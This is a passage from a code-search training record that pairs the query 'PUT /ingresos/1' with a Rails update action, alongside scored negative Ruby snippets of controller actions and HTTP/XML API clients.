"def process_request\n client = Savon.client(wsdl: \"http://cit.seur.com/CIT-war/services/ImprimirECBWebService?wsdl\", \n namespaces: { \"xmlns:imp\" => \"http://localhost:7026/ImprimirECBWebService\" }, \n namespace_identifier: :imp, \n env_namespace: :soapenv, \n pretty_print_xml: true)\n \n # client.operations => [:impresion_integracion_pdf_con_ecbws, :impresion_integracion_con_ecbws]\n\n if credentials[:seur_printer].blank?\n operation = :impresion_integracion_pdf_con_ecbws\n message = build_messagePDF\n else\n operation = :impresion_integracion_con_ecbws\n message = build_messageECB\n end\n request = client.build_request(operation, message: Gyoku.xml(message))\n response = client.call(operation, message: Gyoku.xml(message))\n result = response, request\n rescue Savon::HTTPError => error\n Rails.logger.error error.http.code\n raise \n end",
"def create\n @director = Director.find(params[:director_id])\n @soaps = @director.soaps.create(soap_params)\n redirect_to director_path(@director)\n\n\n end",
"def post\r\n end",
"def create\n @appoiment = Appoiment.new(params[:appoiment])\n\n respond_to do |format|\n if @appoiment.save\n \n format.xml { render :xml => @appoiment, :status => :created, :location => @appoiment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @appoiment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n request(:post, *args)\n end",
"def request \n\t\t\tif self.valid?\n\t\t\t\tpath = \"/#{Base.config.api_path}/#{self.request_action}\"\n\t\t\t\tconnection.post(path, self.to_xml).tap do |response|\n\t\t\t\t\treturn handle_response(response)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"def post\n RestClient.post(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def post_request(params, useSSL=false)\n # get a server handle\n port = (useSSL == true) ? 443 : 80\n http_server = Net::HTTP.new(API_HOST, port)\n http_server.use_ssl = useSSL\n \n # build a request\n http_request = Net::HTTP::Post.new(API_PATH_REST)\n http_request.form_data = params\n \n # get the response XML\n return http_server.start{|http| http.request(http_request)}.body\n end",
"def create\n @niveis_ensino = NiveisEnsino.new(params[:niveis_ensino])\n\n respond_to do |format|\n if @niveis_ensino.save\n format.html { redirect_to(@niveis_ensino, :notice => 'Niveis ensino cadastrado com sucesso.') }\n format.xml { render :xml => @niveis_ensino, :status => :created, :location => @niveis_ensino }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @niveis_ensino.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def submit\n obj = ActiveSupport::Inflector.constantize(self.class.to_s.gsub(/Builder/, ''))\n obj.new(Client.post_xml_request(to_s))\n end",
"def post; end",
"def process_request\n api_response = self.class.post(api_url, :body => build_xml)\n puts api_response if @debug\n response = parse_response(api_response)\n if success?(response)\n success_response(api_response, response)\n else\n failure_response(api_response, response)\n end\n end",
"def request_xml(opts)\n envelope_ns_key = \"#{namespace_key(:envelope)}\"\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml[envelope_ns_key].Envelope(namespace_hash) {\n xml = header_xml(xml, opts[:wsa])\n xml = body_xml(xml, opts[:message], opts[:params], opts[:extra])\n }\n end\n end",
"def create\n @nossos_servico = NossosServico.new(params[:nossos_servico])\n\n respond_to do |format|\n if @nossos_servico.save\n format.html { redirect_to(@nossos_servico, :notice => 'Nossos servico was successfully created.') }\n format.xml { render :xml => @nossos_servico, :status => :created, :location => @nossos_servico }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @nossos_servico.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end",
"def ingrediente_params\n params.require(:ingrediente).permit(:nombre, :precio, :tipo_id, :imagen)\n end",
"def api_gateway_post(path, params)\n api_gateway_body_fwd = params.to_json\n rack_input = StringIO.new(api_gateway_body_fwd)\n\n post path, real_params = {}, 'rack.input' => rack_input\nend",
"def create\n \r\n current_user.readings.create(:listing_id => params[:listing_id])\r\n respond_to do |format|\r\n #need to call create on a listing to increment counter\n format.xml { head :ok }\r\n end\r\n \n end",
"def build()\n response = send_post_request(@xml_api_build_path, {:delay => '0sec'})\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def create\n @puesto = Puesto.new(params[:puesto])\n\n respond_to do |format|\n if @puesto.save\n flash[:notice] = 'Puesto was successfully created.'\n format.html { redirect_to(@puesto) }\n format.xml { render :xml => @puesto, :status => :created, :location => @puesto }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @puesto.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def send_request\n\n uri = URI(\"https://delivery-center-recruitment-ap.herokuapp.com/\")\n time = Time.now\n time = format_date(time)\n header = {\"Content-Type\": \"X-Sent #{time}\"}\n \n # Cria os parâmetros http\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n request = Net::HTTP::Post.new(\"https://delivery-center-recruitment-ap.herokuapp.com/\", header)\n request.body = @request_body.to_json\n response = http.request(request)\n\n #salva resposta para mostrar na tela\n self.resposta = response.body\n self.save\n end",
"def post(path, data = {})\n request 'POST', path, body: data.to_json\n end",
"def send_xml(out_xml)\n uri = URI.parse(@url)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n\n @logger.error \"#$%$ #{@user}\"\n request.basic_auth @user, @password\n request.body = out_xml\n\n log(\"Sending request: #{request.inspect}\")\n response = http.request(request)\n\n log(\"Response: #{response}\")\n return response.body\n end",
"def post(path, params={})\n RestClient.post request_base+path, params\n end",
"def nessus_request(uri, post_data)\n\t\t\tbody=nessus_http_request(uri, post_data)\n\t\t\t# puts response.body\n\t\t\tdocxml = REXML::Document.new(body)\n\t\t\tbegin\n\t\t\t\tstatus = docxml.root.elements['status'].text\n\t\t\trescue\n\t\t\t\tputs(\"Error connecting/logging to the server!\")\n\t\t\t\treturn\n\t\t\tend\n\t\t\tif status == \"OK\"\n\t\t\t\treturn docxml\n\t\t\telse\n\t\t\t\treturn ''\n\t\t\tend\n\t\tend",
"def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend",
"def method_missing(method, *args, &block)\n data = { method: method, parameters: args }\n request.post(path: nodes_path, data: data, auth_token: auth_token)\n end",
"def create\n @xpto = Xpto.new(params[:xpto])\n\n respond_to do |format|\n if @xpto.save\n format.html { redirect_to @xpto, notice: 'Xpto was successfully created.' }\n format.json { render json: @xpto, status: :created, location: @xpto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @xpto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.UploadImagesRequest(xmlns: \"http://fedex.com/ws/uploaddocument/v#{Fedex::UPLOAD_IMAGES_API_VERSION}\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n add_images(xml)\n }\n end\n builder.doc.root.to_xml\n end",
"def create\n @nostro = Nostro.new(params[:nostro])\n\n respond_to do |format|\n if @nostro.save\n flash[:notice] = 'Nostro was successfully created.'\n format.html { redirect_to(@nostro) }\n format.xml { render :xml => @nostro, :status => :created, :location => @nostro }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @nostro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_config(url_prefix, xml)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.body = xml\n request.content_type = 'application/xml'\n response = http.request(request)\n response.code\n end",
"def create\n @estagio = Estagio.new(params[:estagio])\n\n respond_to do |format|\n if @estagio.save\n flash[:notice] = 'Estagio was successfully created.'\n format.html { redirect_to(@estagio) }\n format.xml { render :xml => @estagio, :status => :created, :location => @estagio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def submit_order(printer_order)\n return_data = {}\n printer = printer_order.printer\n order = printer_order.order_line_items[0].order\n login_data = login(printer)\n session_id = login_data[:session_id]\n\n Rails.logger.debug \"---------- *session id for login to spreadshirt* -----------\"\n Rails.logger.debug \"value: #{session_id}\"\n Rails.logger.debug \"---------- ***** -----------\"\n\n #formatted_no_decl = Nokogiri::XML::Node::SaveOptions::FORMAT + Nokogiri::XML::Node::SaveOptions::NO_DECLARATION\n\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.order(:\"xmlns:xlink\" => \"http://www.w3.org/1999/xlink\", :xmlns => \"http://api.spreadshirt.com\") {\n xml.shop(:id => printer.external_shop_id)\n xml.orderItems {\n\n # loop through each of our line items\n printer_order.order_line_items.each do |order_line_item|\n product_attachment_name = \"reference-product-#{order_line_item.id}\"\n image_attachment_name = \"reference-image-#{order_line_item.id}\"\n product = order_line_item.listing.product\n xml.orderItem {\n xml.quantity order_line_item.quantity\n xml.element(:type => \"sprd:product\", :\"xlink:href\" => \"http://api.spreadshirt.com/api/v1/shops/#{printer.external_shop_id}/products/#{product_attachment_name}\") {\n xml.properties{\n xml.property(order_line_item.master_product_color.external_id, :key => \"appearance\")\n xml.property(order_line_item.master_product_size.external_id, :key => \"size\") # size now comes from shopify\n }\n }\n xml.correlation {\n xml.partner {\n xml.orderItemId order_line_item.id\n }\n }\n xml.attachments {\n xml.attachment(:type => \"sprd:product\", :id => product_attachment_name) {\n xml.product(:\"xmlns:xlink\" => \"http://www.w3.org/1999/xlink\", :xmlns => \"http://api.spreadshirt.com\") {\n xml.productType(:id => product.master_product.external_id)\n xml.appearance(:id => order_line_item.master_product_color.external_id)\n xml.restrictions {\n xml.freeColorSelection false\n xml.example false\n }\n xml.configurations {\n xml.configuration(:type => \"design\") {\n xml.printArea(:id => product.master_product_print_area.external_id)\n xml.printType(:id => \"17\")\n xml.offset(:unit => \"mm\") {\n xml.x product.print_image_x_offset\n xml.y product.print_image_y_offset\n }\n ##========== *calculating DPI* ===========##\n # DPI = Pixel x 25.4 / X(mm)\n # \n order_dpi = (4000 * 25.4 / product.master_product_print_area.view_size_width).round(0)\n\n ##========== ***** ==========##\n \n xml.content(:dpi => order_dpi, :unit => \"mm\") {\n xml.svg {\n xml.image(:width => (product.master_product_print_area.print_area_width/10).floor * 10, :height => (product.master_product_print_area.print_area_height/10).floor * 10,\n :designId => image_attachment_name, :printColorIds => \"\")\n }\n }\n xml.restrictions {\n xml.changeable false\n }\n }\n }\n }\n }\n xml.attachment(:type => \"sprd:design\", :id => image_attachment_name) {\n xml.reference(:\"xlink:href\" => product.print_image.url)\n }\n }\n }\n end\n }\n\n xml.correlation {\n xml.partner {\n xml.id printer.account\n xml.orderId printer_order.id\n }\n }\n\n xml.payment {\n xml.type \"EXTERNAL_FULFILLMENT\"\n }\n\n xml.shipping {\n xml.shippingType(:id => \"14\")\n xml.address {\n xml.person {\n xml.salutation(:id => \"99\")\n xml.firstName \"-\"\n xml.lastName order.shipping_name\n }\n xml.street order.shipping_address\n xml.streetAnnex order.shipping_address2\n xml.city order.shipping_city\n # xml.state(order_line_item.order.shipping_state, :code => order_line_item.order.shipping_state)\n # xml.country(order_line_item.order.shipping_country, :code => order_line_item.order.shipping_country)\n xml.state(order.shipping_state, :code => order.shipping_state_code)\n xml.country(order.shipping_country, :code => order.shipping_country_code)\n xml.zipCode order.shipping_postal_code\n xml.email \"test@example.net\"\n }\n }\n\n xml.billing {}\n }\n end\n # data = builder.to_xml( save_with:formatted_no_decl )\n data = builder.to_xml\n\n Rails.logger.debug \"---------- *request body for submitting order to spreadshirt* -----------\"\n Rails.logger.debug \"value: #{data}\"\n Rails.logger.debug \"---------- ***** -----------\"\n\n begin\n response = SpreadshirtClient.post \"/orders\", data, authorization: true, session: session_id\n rescue Exception => e\n\n Rails.logger.debug \"---------- *exception when submiting order to spreadshirt * -----------\"\n Rails.logger.debug \"value: #{e.message}\"\n Rails.logger.debug \"---------- ***** -----------\"\n\n end\n Rails.logger.debug \"---------- *response data when is submitted some orders to spreadshirt* -----------\"\n Rails.logger.debug \"value: #{response}\"\n Rails.logger.debug \"---------- ***** -----------\"\n\n doc = Nokogiri::XML(response)\n order_id = doc.children.first[:id]\n return_data[:status] = \"Submitted\"\n return_data[:external_id] = order_id\n\n return return_data\n end",
"def post(path, opts = {})\n request(:post, path, opts).body\n end"
] | [
"0.58762264",
"0.5812487",
"0.5627592",
"0.5627289",
"0.55471057",
"0.5541224",
"0.55269754",
"0.5508053",
"0.5506226",
"0.5467767",
"0.54398656",
"0.5438833",
"0.53721565",
"0.5359356",
"0.53447753",
"0.5324208",
"0.53221524",
"0.5316563",
"0.52632326",
"0.5260282",
"0.5253035",
"0.52391946",
"0.5212871",
"0.52059424",
"0.52055126",
"0.5205114",
"0.51987416",
"0.51890194",
"0.51856744",
"0.51795095",
"0.51775426",
"0.5173507",
"0.5166262",
"0.5165911",
"0.5164306",
"0.5156712",
"0.5140588",
"0.514054",
"0.5130685",
"0.51220465",
"0.51211685",
"0.51099443",
"0.5109442",
"0.51077116",
"0.5103274",
"0.5102677",
"0.50991195",
"0.5093866",
"0.5084276",
"0.5084276",
"0.5082103",
"0.50750506",
"0.50684226",
"0.50647676",
"0.50647354",
"0.50618505",
"0.5059616",
"0.5043557",
"0.5037548",
"0.5036465",
"0.5034897",
"0.5023298",
"0.50198007",
"0.5019256",
"0.50182575",
"0.5018066",
"0.5008981",
"0.50085545",
"0.5000801",
"0.49956247",
"0.498818",
"0.49853656",
"0.49738333",
"0.4968896",
"0.49643114",
"0.49639165",
"0.49631262",
"0.49589816",
"0.4956643",
"0.49452808",
"0.49450126",
"0.49425644",
"0.4941322",
"0.49398956",
"0.49390838",
"0.49389902",
"0.4936845",
"0.4926745",
"0.49217036",
"0.49147207",
"0.4907446",
"0.49073362",
"0.48998463",
"0.48993197",
"0.4897146",
"0.48964512",
"0.48961475",
"0.48945272",
"0.48943496",
"0.4893958"
] | 0.58996 | 0 |
PUT /ingresos/1 PUT /ingresos/1.xml | def update
@ingreso = Ingreso.find(params[:id])
respond_to do |format|
if @ingreso.update_attributes(params[:ingreso])
format.html { redirect_to(@ingreso, :notice => 'Ingreso was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @ingreso.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def put!\n request! :put\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def put(*args)\n request :put, *args\n end",
"def update\n @inventario = Inventario.find(params[:id])\n @foto = @inventario.foto\n \n @service = InventarioService.new(@inventario, @foto)\n respond_to do |format|\n\n if @inventario.update_attributes(params[:inventario],params[:foto_file])\n format.html { redirect_to(@inventario, :notice => 'Inventario was successfully updated.') }\n format.xml { head :ok }\n else\n\t @foto = @service.foto\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @nossos_servico = NossosServico.find(params[:id])\n\n respond_to do |format|\n if @nossos_servico.update_attributes(params[:nossos_servico])\n format.html { redirect_to(@nossos_servico, :notice => 'Nossos servico was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nossos_servico.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @inning = Inning.find(params[:id])\n\n respond_to do |format|\n if @inning.update_attributes(params[:inning])\n format.html { redirect_to(@inning, :notice => 'Inning was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inning.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @inning = Inning.find(params[:id])\n\n respond_to do |format|\n if @inning.update_attributes(params[:inning])\n format.html { redirect_to(@inning, :notice => 'Inning was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inning.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @ontology = SYMPH::Ontology.find(params[:id])\n\n respond_to do |format|\n if @ontology.update_attributes(params[:ontology])\n flash[:notice] = 'Ontology was successfully updated.'\n format.html { redirect_to(ontologies_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ontology.errors, :status => :unprocessable_entity }\n end\n end\n\t\n end",
"def update\n connection.put(element_path, to_xml)\n end",
"def update\n @estagio = Estagio.find(params[:id])\n\n respond_to do |format|\n if @estagio.update_attributes(params[:estagio])\n flash[:notice] = 'Estagio was successfully updated.'\n format.html { redirect_to(@estagio) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estagio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(invoice_number, invoice_sequence)\n #xml = order_update_template % { status: status.to_i }\n #put_request(t_url(:order, order_id), xml)\n end",
"def update\n respond_to do |format|\n if @ingresso.update(ingresso_params)\n format.html { redirect_to @ingresso, notice: 'Ingresso was successfully updated.' }\n format.json { render :show, status: :ok, location: @ingresso }\n else\n format.html { render :edit }\n format.json { render json: @ingresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # returning connection.put(element_path(prefix_options), to_xml, self.class.headers) do |response|\n returning connection.put(element_path(prefix_options), to_ssj, self.class.headers) do |response|\n load_attributes_from_response(response)\n end\n end",
"def put(*args)\n request(:put, *args)\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n if @tso.update_attributes(params[:tso])\n flash[:notice] = 'Tso was successfully updated.'\n format.html { redirect_to(@tso) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tso.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path = '/files/', params = {})\n request :put, path, params\n end",
"def update\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n\n update_params = {inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool}\n respond_to do |format|\n if @checklisten_vorlage.update(update_params)\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n else\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><error />'}\n end\n end\n end",
"def _update(type, current_name, metadata={})\n type = type.to_s.camelize\n request :update do |soap|\n soap.body = {\n :metadata => {\n :current_name => current_name,\n :metadata => prepare(metadata),\n :attributes! => { :metadata => { 'xsi:type' => \"ins0:#{type}\" } }\n }\n }\n end\n end",
"def update\n @ongoing = Ongoing.find(params[:id])\n\n respond_to do |format|\n if @ongoing.update_attributes(params[:ongoing])\n format.html { redirect_to @ongoing, notice: 'Ongoing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ongoing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def save(request)\n raise ArgumentError, \"PUT does not accept options\" unless request.options.empty?\n update(request) || create(request)\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to(@request, :notice => 'Prestamo actualizado.') }\n else\n format.xml { render :xml => @request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, params={})\n RestClient.put request_base+path, params\n end",
"def update\n @ginasio = Ginasio.find(params[:id])\n\n respond_to do |format|\n if @ginasio.update_attributes(params[:ginasio])\n format.html { redirect_to @ginasio, :flash => { :success => 'Dados do ginasio alterados com successo!' } }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ginasio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @niveis_ensino = NiveisEnsino.find(params[:id])\n\n respond_to do |format|\n if @niveis_ensino.update_attributes(params[:niveis_ensino])\n format.html { redirect_to(@niveis_ensino, :notice => 'Niveis ensino atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @niveis_ensino.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, options={})\n request :put, path, options\n end",
"def update\n @segmento = Segmento.find(params[:id])\n\n respond_to do |format|\n if @segmento.update_attributes(params[:segmento])\n flash[:notice] = 'Segmento was successfully updated.'\n format.html { redirect_to(@segmento) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @segmento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n if @sitio.update_attributes(params[:sitio])\n format.html { redirect_to(@sitio, :notice => 'Sitio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sitio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end",
"def put(path, opts = {})\n request(:put, path, opts).body\n end",
"def update\n @spouse = Spouse.find(params[:id])\n\n respond_to do |format|\n if @spouse.update_attributes(params[:spouse])\n flash[:notice] = 'Spouse was successfully updated.'\n format.html { redirect_to(@spouse) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spouse.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @title = \"Update Operations\"\n @operation = Operation.find(params[:id])\n\n respond_to do |format|\n if @operation.update_attributes(params[:operation])\n flash[:notice] = 'Operation was successfully updated.'\n format.html { redirect_to(@operation) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @operation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def suscribe\n @estate = Estate.find(params[:id])\n @estate.update_attribute(:status, true)\n respond_to do |format|\n format.html { redirect_to estates_url, notice: 'Propiedad publicada exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end",
"def set_ingreso\n @ingreso = Ingreso.find(params[:id])\n end",
"def update\n @nostro = Nostro.find(params[:id])\n\n respond_to do |format|\n if @nostro.update_attributes(params[:nostro])\n flash[:notice] = 'Nostro was successfully updated.'\n format.html { redirect_to(@nostro) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @nostro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put endpoint, data\n do_request :put, endpoint, data\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def override\n document_id = params[:document_id]\n document = params[:document]\n document_type = params[:document_type]\n ticket = Document.ticket(Alfresco::Document::ALFRESCO_USER, Alfresco::Document::ALFRESCO_PASSWORD)\n\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.entry(:xmlns => \"http://www.w3.org/2005/Atom\",\n \"xmlns:cmisra\" => \"http://docs.oasis-open.org/ns/cmis/restatom/200908/\",\n \"xmlns:cmis\" => \"http://docs.oasis-open.org/ns/cmis/core/200908/\") {\n xml.title document.original_filename if document\n xml.summary document_type\n if document\n xml.content(:type => document.content_type) {\n xml.text Base64.encode64(document.read)\n }\n end\n }\n end\n\n url = Document::PATH + \"cmis/i/#{document_id}?alf_ticket=\" + ticket\n\n begin\n RestClient.put url, builder.to_xml, {:content_type => 'application/atom+xml;type=entry'}\n rescue => e\n Rails.logger.info \"#\"*50\n Rails.logger.info \"Error updating file\"\n Rails.logger.info e.message\n Rails.logger.info \"#\"*50\n end\n\n redirect_to :controller => 'related_service_requests', :action => 'show', :anchor => 'documents', :service_request_id => params[:friendly_id], :id => params[:ssr_id]\n end",
"def update\n @node = Node.scopied.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit_axis2XML(carbon_home,http_port,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','axis2.xml')) do |config_file|\n\t\t# Open the document and edit the port (axis2.xml)\n\t\tconfig = Document.new(config_file)\n\t\t\n\t\tconfig.root.elements[25].elements[1].text=http_port\n\t\tconfig.root.elements[26].elements[1].text=https_port\n\t\n\t\t\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_axis2.xml'), 'w') do |result|\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','axis2.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_axis2.xml'),File.join(carbon_home , 'conf','axis2.xml') )\n\nend",
"def update_xml\n self.xml= dumpRouteAsXml\n self.save\n end",
"def update\n respond_to do |format|\n name = Server.find(params[:id]).name\n n = Neography::Node.find('servers', 'name', name)\n n.name = server_params[:name]\n n.add_to_index('servers', 'name', server_params[:name]) #TODO: is this necessary?\n if @server.update(server_params)\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { render :show, status: :ok, location: @server }\n else\n format.html { render :edit }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_update_link_via_API_XML\r\n get \"/logout\"\r\n put \"/links/1.xml\", :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response 401\r\n end",
"def update\n @gasto = Gasto.find(params[:id])\n\n respond_to do |format|\n if @gasto.update_attributes(params[:gasto])\n format.html { redirect_to @gasto, notice: 'Gasto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gasto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @inventorship = Inventorship.find(params[:id])\n\n respond_to do |format|\n if @inventorship.update_attributes(params[:inventorship])\n flash[:notice] = 'Inventorship was successfully updated.'\n format.html { redirect_to(@inventorship) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventorship.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end",
